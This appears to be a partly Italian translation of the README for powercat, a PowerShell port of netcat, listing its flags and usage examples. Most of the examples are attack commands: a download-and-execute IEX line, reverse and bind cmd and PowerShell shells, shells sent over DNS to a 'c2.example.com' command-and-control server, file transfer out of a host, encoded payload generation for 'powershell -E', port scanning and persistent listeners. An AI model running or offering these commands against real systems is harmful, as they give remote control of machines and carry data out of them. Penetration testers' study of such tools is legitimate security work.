
netshell include tutte le funzionalità nella versione 2 di PowerShell
Netcat: la versione PowerShell. (Supporta PowerShell versione 2 e successive)
powercat è una funzione di PowerShell. È necessario caricare la funzione prima di poterla eseguire. È possibile inserire uno dei comandi seguenti nel profilo di PowerShell in modo che powercat venga caricato automaticamente all'avvio di PowerShell.
Load The Function From Downloaded .ps1 File:
. .\powercat.ps1
Load The Function From URL:
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1')
-l Ascolta una connessione. [Switch]
-c Connetti a un listener. [String]
-p La porta a cui connettersi o su cui ascoltare. [String]
-e Esegui. (GAPING_SECURITY_HOLE) [String]
-ep Esegui PowerShell. [Switch]
-r Relay. Formato: "-r tcp:10.1.1.1:443" [String]
-u Trasferisci dati tramite UDP. [Switch]
-dns Trasferisci dati tramite DNS (dnscat2). [String]
-dnsft Soglia di fallimento DNS. [int32]
-t Opzione timeout. Predefinito: 60 [int32]
-i Input: Percorso file (string), array di byte o stringa. [object]
-o Tipo di output console: "Host", "Bytes" o "String" [String]
-of Percorso file output. [String]
-d Disconnetti dopo la connessione. [Switch]
-rep Repeater. Riavvia dopo la disconnessione. [Switch]
-g Genera payload. [Switch]
-ge Genera payload codificato. [Switch]
-h Stampa il messaggio di aiuto. [Switch]
Per impostazione predefinita, powercat legge l'input dalla console e scrive l'output utilizzando Write-Host. È possibile modificare il tipo di output in 'Bytes' o 'String' con -o.
Basic Client:
powercat -c 10.1.1.1 -p 443
Basic Listener:
powercat -l -p 8000
Basic Client, Output as Bytes:
powercat -c 10.1.1.1 -p 443 -o Bytes
powercat può essere utilizzato per trasferire file avanti e indietro usando -i (Input) e -of (Output File).
Send File:
powercat -c 10.1.1.1 -p 443 -i C:\inputfile
Recieve File:
powercat -l -p 8000 -of C:\inputfile
powercat può essere utilizzato per inviare e fornire shell. Specificare un eseguibile con -e, o usare -ep per eseguire PowerShell.
Serve a cmd Shell:
powercat -l -p 443 -e cmd
Send a cmd Shell:
powercat -c 10.1.1.1 -p 443 -e cmd
Serve a shell which executes powershell commands:
powercat -l -p 443 -ep
powercat supporta più della semplice trasmissione dati tramite TCP. Specificare -u per abilitare la modalità UDP. I dati possono anche essere inviati a un server dnscat2 con -dns. Assicurati di aggiungere "-e open --no-cache" quando esegui il server dnscat2.
Send Data Over UDP:
powercat -c 10.1.1.1 -p 8000 -u
powercat -l -p 8000 -u
Connect to the c2.example.com dnscat2 server using the DNS server on 10.1.1.1:
powercat -c 10.1.1.1 -p 53 -dns c2.example.com
Send a shell to the c2.example.com dnscat2 server using the default DNS server in Windows:
powercat -dns c2.example.com -e cmd
I relay in powercat funzionano proprio come i relay tradizionali di netcat, ma non è necessario creare un file o avviare un secondo processo. Puoi anche fare da relay tra connessioni di protocolli diversi.
TCP Listener to TCP Client Relay:
powercat -l -p 8000 -r tcp:10.1.1.16:443
TCP Listener to UDP Client Relay:
powercat -l -p 8000 -r udp:10.1.1.16:53
TCP Listener to DNS Client Relay
powercat -l -p 8000 -r dns:10.1.1.1:53:c2.example.com
TCP Listener to DNS Client Relay using the Windows Default DNS Server
powercat -l -p 8000 -r dns:::c2.example.com
TCP Client to Client Relay
powercat -c 10.1.1.1 -p 9000 -r tcp:10.1.1.16:443
TCP Listener to Listener Relay
powercat -l -p 8000 -r tcp:9000
I payload che eseguono un'azione specifica possono essere generati usando -g (Generate Payload) e -ge (Generate Encoded Payload). I payload codificati possono essere eseguiti con powershell -E. Puoi usarli se non vuoi utilizzare tutto powercat.
Generate a reverse tcp payload which connects back to 10.1.1.15 port 443:
powercat -c 10.1.1.15 -p 443 -e cmd -g
Generate a bind tcp encoded command which listens on port 8000:
powercat -l -p 8000 -e cmd -ge
powercat può anche essere utilizzato per eseguire scansioni di porte e avviare server persistenti.
Basic TCP Port Scanner:
(21,22,80,443) | % {powercat -c 10.1.1.10 -p $_ -t 1 -Verbose -d}
Start A Persistent Server That Serves a File:
powercat -l -p 443 -i C:\inputfile -rep